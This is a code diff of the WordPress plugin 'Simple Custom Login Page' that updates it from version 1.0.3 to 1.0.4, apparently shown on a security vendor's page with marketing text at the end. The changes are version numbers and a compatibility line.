+	 * Initialize the collections used to maintain the actions and filters.
+	 *
+	 * @since    1.0.0
+	 */
+	public function __construct() {
+
+		$this->actions = array();
+		$this->filters = array();
+	}
+
+	/**
+	 * Add a new action to the collection to be registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @param    string $hook             The name of the WordPress action that is being registered.
+	 * @param    object $component        A reference to the instance of the object on which the action is defined.
+	 * @param    string $callback         The name of the function definition on the $component.
+	 * @param    int    $priority         Optional. The priority at which the function should be fired. Default is 10.
+	 * @param    int    $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1.
+	 */
+	public function add_action( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
+		$this->actions = $this->add( $this->actions, $hook, $component, $callback, $priority, $accepted_args );
+	}
+
+	/**
+	 * Add a new filter to the collection to be registered with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @param    string $hook             The name of the WordPress filter that is being registered.
+	 * @param    object $component        A reference to the instance of the object on which the filter is defined.
+	 * @param    string $callback         The name of the function definition on the $component.
+	 * @param    int    $priority         Optional. The priority at which the function should be fired. Default is 10.
+	 * @param    int    $accepted_args    Optional. The number of arguments that should be passed to the $callback. Default is 1.
+	 */
+	public function add_filter( $hook, $component, $callback, $priority = 10, $accepted_args = 1 ) {
+		$this->filters = $this->add( $this->filters, $hook, $component, $callback, $priority, $accepted_args );
+	}
+
+	/**
+	 * A utility function that is used to register the actions and hooks into a single
+	 * collection.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 * @param    array  $hooks            The collection of hooks that is being registered (that is, actions or filters).
+	 * @param    string $hook             The name of the WordPress filter that is being registered.
+	 * @param    object $component        A reference to the instance of the object on which the filter is defined.
+	 * @param    string $callback         The name of the function definition on the $component.
+	 * @param    int    $priority         The priority at which the function should be fired.
+	 * @param    int    $accepted_args    The number of arguments that should be passed to the $callback.
+	 * @return   array                                  The collection of actions and filters registered with WordPress.
+	 */
+	private function add( $hooks, $hook, $component, $callback, $priority, $accepted_args ) {
+
+		$hooks[] = array(
+			'hook'          => $hook,
+			'component'     => $component,
+			'callback'      => $callback,
+			'priority'      => $priority,
+			'accepted_args' => $accepted_args,
+		);
+
+		return $hooks;
+	}
+
+	/**
+	 * Register the filters and actions with WordPress.
+	 *
+	 * @since    1.0.0
+	 */
+	public function run() {
+
+		foreach ( $this->filters as $hook ) {
+			add_filter( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
+		}
+
+		foreach ( $this->actions as $hook ) {
+			add_action( $hook['hook'], array( $hook['component'], $hook['callback'] ), $hook['priority'], $hook['accepted_args'] );
+		}
+	}
+}
--- a/simple-custom-login-page/includes/class-simple-custom-login-page.php
+++ b/simple-custom-login-page/includes/class-simple-custom-login-page.php
@@ -1,304 +1,304 @@
-<?php
-/**
- * The file that defines the core plugin class
- *
- * @link       https://profiles.wordpress.org/pattihis/
- * @since      1.0.0
- *
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- */
-
-// If this file is called directly, abort.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-/**
- * The core plugin class.
- *
- * This is used to define internationalization and hooks.
- *
- * Also maintains the unique identifier of this plugin as well as the current
- * version of the plugin.
- *
- * @since      1.0.0
- * @package    Simple_Custom_Login_Page
- * @subpackage Simple_Custom_Login_Page/includes
- * @author     George Pattichis <gpattihis@gmail.com>
- */
-class Simple_Custom_Login_Page {
-
-	/**
-	 * The loader that's responsible for maintaining and registering all hooks that power
-	 * the plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   protected
-	 * @var      Simple_Custom_Login_Page_Loader    $loader    Maintains and registers all hooks for the plugin.
-	 */
-	protected $loader;
-
-	/**
-	 * The unique identifier of this plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   protected
-	 * @var      string    $plugin_name    The string used to uniquely identify this plugin.
-	 */
-	protected $plugin_name;
-
-	/**
-	 * The current version of the plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   protected
-	 * @var      string    $version    The current version of the plugin.
-	 */
-	protected $version;
-
-	/**
-	 * Define the core functionality of the plugin.
-	 *
-	 * Set the plugin name and the plugin version that can be used throughout the plugin.
-	 * Load the dependencies, define the locale, and set the hooks for the plugin.
-	 *
-	 * @since    1.0.0
-	 */
-	public function __construct() {
-		if ( defined( 'SCLP_VERSION' ) ) {
-			$this->version = SCLP_VERSION;
-		} else {
-			$this->version = '1.0.3';
-		}
-		$this->plugin_name = 'simple-custom-login-page';
-
-		$this->load_dependencies();
-		$this->set_locale();
-		$this->define_admin_hooks();
-	}
-
-	/**
-	 * Load the required dependencies for this plugin.
-	 *
-	 * Include the following files that make up the plugin:
-	 *
-	 * - Simple_Custom_Login_Page_Loader. Orchestrates the hooks of the plugin.
-	 * - Simple_Custom_Login_Page_I18n. Defines internationalization functionality.
-	 * - Simple_Custom_Login_Page_Admin. Defines all hooks for the admin area.
-	 *
-	 * Create an instance of the loader which will be used to register the hooks
-	 * with WordPress.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 */
-	private function load_dependencies() {
-
-		/**
-		 * The class responsible for orchestrating the actions and filters of the
-		 * core plugin.
-		 */
-		require_once plugin_dir_path( __DIR__ ) . 'includes/class-simple-custom-login-page-loader.php';
-
-		/**
-		 * The class responsible for defining internationalization functionality
-		 * of the plugin.
-		 */
-		require_once plugin_dir_path( __DIR__ ) . 'includes/class-simple-custom-login-page-i18n.php';
-
-		/**
-		 * The class responsible for defining all actions that occur in the admin area.
-		 */
-		require_once plugin_dir_path( __DIR__ ) . 'admin/class-simple-custom-login-page-admin.php';
-
-		$this->loader = new Simple_Custom_Login_Page_Loader();
-	}
-
-	/**
-	 * Define the locale for this plugin for internationalization.
-	 *
-	 * Uses the Simple_Custom_Login_Page_I18n class in order to set the domain and to register the hook
-	 * with WordPress.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 */
-	private function set_locale() {
-
-		$plugin_i18n = new Simple_Custom_Login_Page_I18n();
-
-		$this->loader->add_action( 'plugins_loaded', $plugin_i18n, 'load_plugin_textdomain' );
-	}
-
-	/**
-	 * Register all of the hooks related to the admin area functionality
-	 * of the plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 */
-	private function define_admin_hooks() {
-
-		$plugin_admin = new Simple_Custom_Login_Page_Admin( $this->get_plugin_name(), $this->get_version() );
-
-		$this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_styles' );
-		$this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts' );
-
-		$this->loader->add_action( 'admin_init', $plugin_admin, 'simple_custom_login_page_settings' );
-		$this->loader->add_action( 'admin_menu', $plugin_admin, 'simple_custom_login_page_admin_menu' );
-		$this->loader->add_filter( 'plugin_action_links', $plugin_admin, 'simple_custom_login_page_plugin_links', 10, 2 );
-
-		$this->loader->add_action( 'login_head', $this, 'simple_custom_login_page_customize' );
-		$this->loader->add_action( 'login_headerurl', $this, 'sclp_link_customize' );
-		$this->loader->add_action( 'login_headertext', $this, 'sclp_text_customize' );
-	}
-
-	/**
-	 * Run the loader to execute all of the hooks with WordPress.
-	 *
-	 * @since    1.0.0
-	 */
-	public function run() {
-		$this->loader->run();
-	}
-
-	/**
-	 * The name of the plugin used to uniquely identify it within the context of
-	 * WordPress and to define internationalization functionality.
-	 *
-	 * @since     1.0.0
-	 * @return    string    The name of the plugin.
-	 */
-	public function get_plugin_name() {
-		return $this->plugin_name;
-	}
-
-	/**
-	 * The reference to the class that orchestrates the hooks with the plugin.
-	 *
-	 * @since     1.0.0
-	 * @return    Simple_Custom_Login_Page_Loader    Orchestrates the hooks of the plugin.
-	 */
-	public function get_loader() {
-		return $this->loader;
-	}
-
-	/**
-	 * Retrieve the version number of the plugin.
-	 *
-	 * @since     1.0.0
-	 * @return    string    The version number of the plugin.
-	 */
-	public function get_version() {
-		return $this->version;
-	}
-
-	/**
-	 * Customize the login page styles.
-	 *
-	 * @since     1.0.0
-	 * @return    void
-	 * @link      https://codex.wordpress.org/Customizing_the_Login_Form
-	 */
-	public function simple_custom_login_page_customize() {
-
-		if ( get_option( 'simple_custom_login_page_background' ) ) {
-			$background = get_option( 'simple_custom_login_page_background' );
-		} else {
-			$background = '#f0f0f1';
-		}
-
-		if ( get_option( 'simple_custom_login_page_text_color' ) ) {
-			$text = get_option( 'simple_custom_login_page_text_color' );
-		} else {
-			$text = '#3c434a';
-		}
-
-		if ( get_option( 'simple_custom_login_page_image' ) ) {
-			$img          = get_option( 'simple_custom_login_page_image' );
-			$upload_dir   = wp_upload_dir();
-			$image_path   = str_replace( $upload_dir['baseurl'], $upload_dir['basedir'], $img );
-			$getimagesize = wp_getimagesize( $image_path );
-			if ( $getimagesize ) {
-				$width  = $getimagesize[0];
-				$height = $getimagesize[1];
-			} else {
-				$width  = '320px';
-				$height = '84px';
-			}
-		} else {
-			return;
-		}
-
-		if ( get_option( 'simple_custom_login_page_form_bg' ) ) {
-			$form = get_option( 'simple_custom_login_page_form_bg' );
-		} else {
-			$form = '#ffffff';
-		}
-
-		if ( get_option( 'simple_custom_login_page_link_color' ) ) {
-			$link = get_option( 'simple_custom_login_page_link_color' );
-		} else {
-			$link = '#50575e';
-		}
-
-		echo '<style type="text/css">
-			body.login {
-				background-color: ' . esc_attr( $background ) . ';
-				color: ' . esc_attr( $text ) . ';
-			}
-
-			#login h1 a, .login h1 a {
-				background-image:url(' . esc_url( $img ) . ');
-				height: ' . esc_attr( $height ) . 'px;
-				width: ' . esc_attr( $width ) . 'px;
-				max-width: 100%;
-				max-height: 84px;
-				background-size: contain;
-				background-repeat: no-repeat;
-			}
-
-			body.login div#login form#loginform,
-			body.login div#login form#lostpasswordform,
-			body.login div#login p.message {
-				background-color: ' . esc_attr( $form ) . ';
-				border-color: ' . esc_attr( $form ) . ';
-			}
-
-			body.login div#login p#backtoblog a,
-			body.login div#login p#nav a {
-				color: ' . esc_attr( $link ) . ';
-			}
-		</style>';
-	}
-
-
-	/**
-	 * Customize the login page link
-	 *
-	 * @since     1.0.0
-	 * @return    string    $url    The url of the link
-	 * @link      https://codex.wordpress.org/Customizing_the_Login_Form
-	 */
-	public function sclp_link_customize() {
-		if ( get_option( 'simple_custom_login_page_url' ) ) {
-			$url = get_option( 'simple_custom_login_page_url' );
-		} else {
-			$url = get_home_url();
-		}
-		return $url;
-	}
-
-
-	/**
-	 * Customize the login page title
-	 *
-	 * @since     1.0.0
-	 * @return    string    $title    The title of the link
-	 * @link      https://codex.wordpress.org/Customizing_the_Login_Form
-	 */
-	public function sclp_text_customize() {
-		return get_bloginfo( 'name' ) . ' - ' . get_bloginfo( 'description' );
-	}
-}
+<?php
+/**
+ * The file that defines the core plugin class
+ *
+ * @link       https://profiles.wordpress.org/pattihis/
+ * @since      1.0.0
+ *
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ */
+
+// If this file is called directly, abort.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * The core plugin class.
+ *
+ * This is used to define internationalization and hooks.
+ *
+ * Also maintains the unique identifier of this plugin as well as the current
+ * version of the plugin.
+ *
+ * @since      1.0.0
+ * @package    Simple_Custom_Login_Page
+ * @subpackage Simple_Custom_Login_Page/includes
+ * @author     George Pattichis <gpattihis@gmail.com>
+ */
+class Simple_Custom_Login_Page {
+
+	/**
+	 * The loader that's responsible for maintaining and registering all hooks that power
+	 * the plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   protected
+	 * @var      Simple_Custom_Login_Page_Loader    $loader    Maintains and registers all hooks for the plugin.
+	 */
+	protected $loader;
+
+	/**
+	 * The unique identifier of this plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   protected
+	 * @var      string    $plugin_name    The string used to uniquely identify this plugin.
+	 */
+	protected $plugin_name;
+
+	/**
+	 * The current version of the plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   protected
+	 * @var      string    $version    The current version of the plugin.
+	 */
+	protected $version;
+
+	/**
+	 * Define the core functionality of the plugin.
+	 *
+	 * Set the plugin name and the plugin version that can be used throughout the plugin.
+	 * Load the dependencies, define the locale, and set the hooks for the plugin.
+	 *
+	 * @since    1.0.0
+	 */
+	public function __construct() {
+		if ( defined( 'SCLP_VERSION' ) ) {
+			$this->version = SCLP_VERSION;
+		} else {
+			$this->version = '1.0.4';
+		}
+		$this->plugin_name = 'simple-custom-login-page';
+
+		$this->load_dependencies();
+		$this->set_locale();
+		$this->define_admin_hooks();
+	}
+
+	/**
+	 * Load the required dependencies for this plugin.
+	 *
+	 * Include the following files that make up the plugin:
+	 *
+	 * - Simple_Custom_Login_Page_Loader. Orchestrates the hooks of the plugin.
+	 * - Simple_Custom_Login_Page_I18n. Defines internationalization functionality.
+	 * - Simple_Custom_Login_Page_Admin. Defines all hooks for the admin area.
+	 *
+	 * Create an instance of the loader which will be used to register the hooks
+	 * with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 */
+	private function load_dependencies() {
+
+		/**
+		 * The class responsible for orchestrating the actions and filters of the
+		 * core plugin.
+		 */
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-simple-custom-login-page-loader.php';
+
+		/**
+		 * The class responsible for defining internationalization functionality
+		 * of the plugin.
+		 */
+		require_once plugin_dir_path( __DIR__ ) . 'includes/class-simple-custom-login-page-i18n.php';
+
+		/**
+		 * The class responsible for defining all actions that occur in the admin area.
+		 */
+		require_once plugin_dir_path( __DIR__ ) . 'admin/class-simple-custom-login-page-admin.php';
+
+		$this->loader = new Simple_Custom_Login_Page_Loader();
+	}
+
+	/**
+	 * Define the locale for this plugin for internationalization.
+	 *
+	 * Uses the Simple_Custom_Login_Page_I18n class in order to set the domain and to register the hook
+	 * with WordPress.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 */
+	private function set_locale() {
+
+		$plugin_i18n = new Simple_Custom_Login_Page_I18n();
+
+		$this->loader->add_action( 'plugins_loaded', $plugin_i18n, 'load_plugin_textdomain' );
+	}
+
+	/**
+	 * Register all of the hooks related to the admin area functionality
+	 * of the plugin.
+	 *
+	 * @since    1.0.0
+	 * @access   private
+	 */
+	private function define_admin_hooks() {
+
+		$plugin_admin = new Simple_Custom_Login_Page_Admin( $this->get_plugin_name(), $this->get_version() );
+
+		$this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_styles' );
+		$this->loader->add_action( 'admin_enqueue_scripts', $plugin_admin, 'enqueue_scripts' );
+
+		$this->loader->add_action( 'admin_init', $plugin_admin, 'simple_custom_login_page_settings' );
+		$this->loader->add_action( 'admin_menu', $plugin_admin, 'simple_custom_login_page_admin_menu' );
+		$this->loader->add_filter( 'plugin_action_links', $plugin_admin, 'simple_custom_login_page_plugin_links', 10, 2 );
+
+		$this->loader->add_action( 'login_head', $this, 'simple_custom_login_page_customize' );
+		$this->loader->add_action( 'login_headerurl', $this, 'sclp_link_customize' );
+		$this->loader->add_action( 'login_headertext', $this, 'sclp_text_customize' );
+	}
+
+	/**
+	 * Run the loader to execute all of the hooks with WordPress.
+	 *
+	 * @since    1.0.0
+	 */
+	public function run() {
+		$this->loader->run();
+	}
+
+	/**
+	 * The name of the plugin used to uniquely identify it within the context of
+	 * WordPress and to define internationalization functionality.
+	 *
+	 * @since     1.0.0
+	 * @return    string    The name of the plugin.
+	 */
+	public function get_plugin_name() {
+		return $this->plugin_name;
+	}
+
+	/**
+	 * The reference to the class that orchestrates the hooks with the plugin.
+	 *
+	 * @since     1.0.0
+	 * @return    Simple_Custom_Login_Page_Loader    Orchestrates the hooks of the plugin.
+	 */
+	public function get_loader() {
+		return $this->loader;
+	}
+
+	/**
+	 * Retrieve the version number of the plugin.
+	 *
+	 * @since     1.0.0
+	 * @return    string    The version number of the plugin.
+	 */
+	public function get_version() {
+		return $this->version;
+	}
+
+	/**
+	 * Customize the login page styles.
+	 *
+	 * @since     1.0.0
+	 * @return    void
+	 * @link      https://codex.wordpress.org/Customizing_the_Login_Form
+	 */
+	public function simple_custom_login_page_customize() {
+
+		if ( get_option( 'simple_custom_login_page_background' ) ) {
+			$background = get_option( 'simple_custom_login_page_background' );
+		} else {
+			$background = '#f0f0f1';
+		}
+
+		if ( get_option( 'simple_custom_login_page_text_color' ) ) {
+			$text = get_option( 'simple_custom_login_page_text_color' );
+		} else {
+			$text = '#3c434a';
+		}
+
+		if ( get_option( 'simple_custom_login_page_image' ) ) {
+			$img          = get_option( 'simple_custom_login_page_image' );
+			$upload_dir   = wp_upload_dir();
+			$image_path   = str_replace( $upload_dir['baseurl'], $upload_dir['basedir'], $img );
+			$getimagesize = wp_getimagesize( $image_path );
+			if ( $getimagesize ) {
+				$width  = $getimagesize[0];
+				$height = $getimagesize[1];
+			} else {
+				$width  = '320px';
+				$height = '84px';
+			}
+		} else {
+			return;
+		}
+
+		if ( get_option( 'simple_custom_login_page_form_bg' ) ) {
+			$form = get_option( 'simple_custom_login_page_form_bg' );
+		} else {
+			$form = '#ffffff';
+		}
+
+		if ( get_option( 'simple_custom_login_page_link_color' ) ) {
+			$link = get_option( 'simple_custom_login_page_link_color' );
+		} else {
+			$link = '#50575e';
+		}
+
+		echo '<style type="text/css">
+			body.login {
+				background-color: ' . esc_attr( $background ) . ';
+				color: ' . esc_attr( $text ) . ';
+			}
+
+			#login h1 a, .login h1 a {
+				background-image:url(' . esc_url( $img ) . ');
+				height: ' . esc_attr( $height ) . 'px;
+				width: ' . esc_attr( $width ) . 'px;
+				max-width: 100%;
+				max-height: 84px;
+				background-size: contain;
+				background-repeat: no-repeat;
+			}
+
+			body.login div#login form#loginform,
+			body.login div#login form#lostpasswordform,
+			body.login div#login p.message {
+				background-color: ' . esc_attr( $form ) . ';
+				border-color: ' . esc_attr( $form ) . ';
+			}
+
+			body.login div#login p#backtoblog a,
+			body.login div#login p#nav a {
+				color: ' . esc_attr( $link ) . ';
+			}
+		</style>';
+	}
+
+
+	/**
+	 * Customize the login page link
+	 *
+	 * @since     1.0.0
+	 * @return    string    $url    The url of the link
+	 * @link      https://codex.wordpress.org/Customizing_the_Login_Form
+	 */
+	public function sclp_link_customize() {
+		if ( get_option( 'simple_custom_login_page_url' ) ) {
+			$url = get_option( 'simple_custom_login_page_url' );
+		} else {
+			$url = get_home_url();
+		}
+		return $url;
+	}
+
+
+	/**
+	 * Customize the login page title
+	 *
+	 * @since     1.0.0
+	 * @return    string    $title    The title of the link
+	 * @link      https://codex.wordpress.org/Customizing_the_Login_Form
+	 */
+	public function sclp_text_customize() {
+		return get_bloginfo( 'name' ) . ' - ' . get_bloginfo( 'description' );
+	}
+}
--- a/simple-custom-login-page/simple-custom-login-page.php
+++ b/simple-custom-login-page/simple-custom-login-page.php
@@ -1,100 +1,100 @@
-<?php
-/**
- * Simple Custom Login Page
- *
- * @author            George Pattichis
- * @copyright         2024 George Pattichis
- * @license           GPL-2.0-or-later
- * @link              https://profiles.wordpress.org/pattihis/
- * @since             1.0.0
- * @package           Simple_Custom_Login_Page
- *
- * @wordpress-plugin
- * Plugin Name:       Simple Custom Login Page
- * Plugin URI:        https://wordpress.org/plugins/simple-custom-login-page/
- * Description:       This plugin allows you to customize the image and the appearance of the WordPress Login Screen.
- * Version:           1.0.3
- * Requires at least: 5.3.0
- * Tested up to:      6.8
- * Requires PHP:      7.0
- * Author:            George Pattichis
- * Author URI:        https://profiles.wordpress.org/pattihis/
- * License:           GPL-2.0+
- * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
- * Text Domain:       simple-custom-login-page
- * Domain Path:       /languages
- */
-
-/*
-	Copyright 2024  George Pattihis (gpattihis@gmail.com)
-
-	"Simple Custom Login Page" is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 2 of the License, or
-	any later version.
-
-	"Simple Custom Login Page" is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	"along with Simple Custom Login Page". If not, see http://www.gnu.org/licenses/gpl-2.0.txt.
-	*/
-
-// If this file is called directly, abort.
-if ( ! defined( 'WPINC' ) ) {
-	die;
-}
-
-/**
- * Current plugin version.
- *
- * @var string The current plugin version.
- */
-define( 'SCLP_VERSION', '1.0.3' );
-
-/**
- * Plugin's basename
- */
-define( 'SCLP_BASENAME', plugin_basename( __FILE__ ) );
-
-/**
- * The code that runs during plugin activation.
- * This action is documented in includes/class-simple-custom-login-page-activator.php
- */
-function activate_simple_custom_login_page() {
-	require_once plugin_dir_path( __FILE__ ) . 'includes/class-simple-custom-login-page-activator.php';
-	Simple_Custom_Login_Page_Activator::activate();
-}
-
-/**
- * The code that runs during plugin deactivation.
- * This action is documented in includes/class-simple-custom-login-page-deactivator.php
- */
-function deactivate_simple_custom_login_page() {
-	require_once plugin_dir_path( __FILE__ ) . 'includes/class-simple-custom-login-page-deactivator.php';
-	Simple_Custom_Login_Page_Deactivator::deactivate();
-}
-
-register_activation_hook( __FILE__, 'activate_simple_custom_login_page' );
-register_deactivation_hook( __FILE__, 'deactivate_simple_custom_login_page' );
-
-/**
- * The core plugin class that is used to define internationalization,
- * admin-specific hooks, and public-facing site hooks.
- */
-require plugin_dir_path( __FILE__ ) . 'includes/class-simple-custom-login-page.php';
-
-/**
- * Begins execution of the plugin.
- *
- * @since    1.0.0
- */
-function run_simple_custom_login_page() {
-
-	$plugin = new Simple_Custom_Login_Page();
-	$plugin->run();
-}
-
-run_simple_custom_login_page();
+<?php
+/**
+ * Simple Custom Login Page
+ *
+ * @author            George Pattichis
+ * @copyright         2024 George Pattichis
+ * @license           GPL-2.0-or-later
+ * @link              https://profiles.wordpress.org/pattihis/
+ * @since             1.0.0
+ * @package           Simple_Custom_Login_Page
+ *
+ * @wordpress-plugin
+ * Plugin Name:       Simple Custom Login Page
+ * Plugin URI:        https://wordpress.org/plugins/simple-custom-login-page/
+ * Description:       This plugin allows you to customize the image and the appearance of the WordPress Login Screen.
+ * Version:           1.0.4
+ * Requires at least: 5.3.0
+ * Tested up to:      6.9
+ * Requires PHP:      7.0
+ * Author:            George Pattichis
+ * Author URI:        https://profiles.wordpress.org/pattihis/
+ * License:           GPL-2.0+
+ * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain:       simple-custom-login-page
+ * Domain Path:       /languages
+ */
+
+/*
+	Copyright 2024  George Pattihis (gpattihis@gmail.com)
+
+	"Simple Custom Login Page" is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 2 of the License, or
+	any later version.
+
+	"Simple Custom Login Page" is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	"along with Simple Custom Login Page". If not, see http://www.gnu.org/licenses/gpl-2.0.txt.
+	*/
+
+// If this file is called directly, abort.
+if ( ! defined( 'WPINC' ) ) {
+	die;
+}
+
+/**
+ * Current plugin version.
+ *
+ * @var string The current plugin version.
+ */
+define( 'SCLP_VERSION', '1.0.4' );
+
+/**
+ * Plugin's basename
+ */
+define( 'SCLP_BASENAME', plugin_basename( __FILE__ ) );
+
+/**
+ * The code that runs during plugin activation.
+ * This action is documented in includes/class-simple-custom-login-page-activator.php
+ */
+function activate_simple_custom_login_page() {
+	require_once plugin_dir_path( __FILE__ ) . 'includes/class-simple-custom-login-page-activator.php';
+	Simple_Custom_Login_Page_Activator::activate();
+}
+
+/**
+ * The code that runs during plugin deactivation.
+ * This action is documented in includes/class-simple-custom-login-page-deactivator.php
+ */
+function deactivate_simple_custom_login_page() {
+	require_once plugin_dir_path( __FILE__ ) . 'includes/class-simple-custom-login-page-deactivator.php';
+	Simple_Custom_Login_Page_Deactivator::deactivate();
+}
+
+register_activation_hook( __FILE__, 'activate_simple_custom_login_page' );
+register_deactivation_hook( __FILE__, 'deactivate_simple_custom_login_page' );
+
+/**
+ * The core plugin class that is used to define internationalization,
+ * admin-specific hooks, and public-facing site hooks.
+ */
+require plugin_dir_path( __FILE__ ) . 'includes/class-simple-custom-login-page.php';
+
+/**
+ * Begins execution of the plugin.
+ *
+ * @since    1.0.0
+ */
+function run_simple_custom_login_page() {
+
+	$plugin = new Simple_Custom_Login_Page();
+	$plugin->run();
+}
+
+run_simple_custom_login_page();

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School